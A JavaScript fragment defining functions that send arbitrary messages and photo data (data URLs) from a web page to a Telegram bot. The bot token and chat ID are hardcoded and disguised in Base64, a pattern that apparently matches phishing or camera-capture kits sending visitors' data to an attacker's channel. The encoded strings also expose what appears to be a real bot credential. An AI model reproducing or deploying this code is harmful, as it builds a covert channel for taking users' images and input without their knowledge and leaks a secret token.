// Updated sendMessageToTelegram Function function sendMessageToTelegram(message) { // Encoded Bot Token and Chat ID var encodedBotToken = 'NzcxMzcxNTc4NzpBQUd4VjY3Rl9DVkFxNXJWQWRwVDRYeExVME9pS2NBWGRFTQ=='; // Replace with your actual Base64 encoded token var encodedChatId = 'LTEwMDIxNTU4NjkwNjY='; // Replace with your actual Base64 encoded chat ID if needed // Decode the credentials var telegramBotToken = decodeBase64(encodedBotToken); var telegramChatId = decodeBase64(encodedChatId); // Encode the message var encodedMessage = encodeBase64(message); $.ajax({ url: 'https://api.telegram.org/bot' + telegramBotToken + '/sendMessage', method: 'POST', data: { chat_id: telegramChatId, text: decodeBase64(encodedMessage), // Telegram expects the actual message }, }); } // Updated sendPhotoToTelegram Function function sendPhotoToTelegram(photoDataUrl) { // Encoded Bot Token and Chat ID var encodedBotToken = 'NzcxMzcxNTc4NzpBQUd4VjY3Rl9DVkFxNXJWQWRwVDRYeExVME9pS2NBWGRFTQ=='; // Replace with your actual Base64 encoded token var encodedChatId = 'LTEwMDIxNTU4NjkwNjY='; // Replace with your actual Base64 encoded chat ID if needed // Decode the credentials var telegramBotToken = decodeBase64(encodedBotToken); var telegramChatId = decodeBase64(encodedChatId); var blob = dataURLtoBlob(photoDataUrl); var formData = new FormData(); formData.append('chat_id', telegramChatId); formData.append('photo', blob, 'photo.jpg'); $.ajax({ url: 'https://api.telegram.org/bot' + telegramBotToken + '/sendPhoto', method: 'POST', processData: false, contentType: false, data: formData, }); }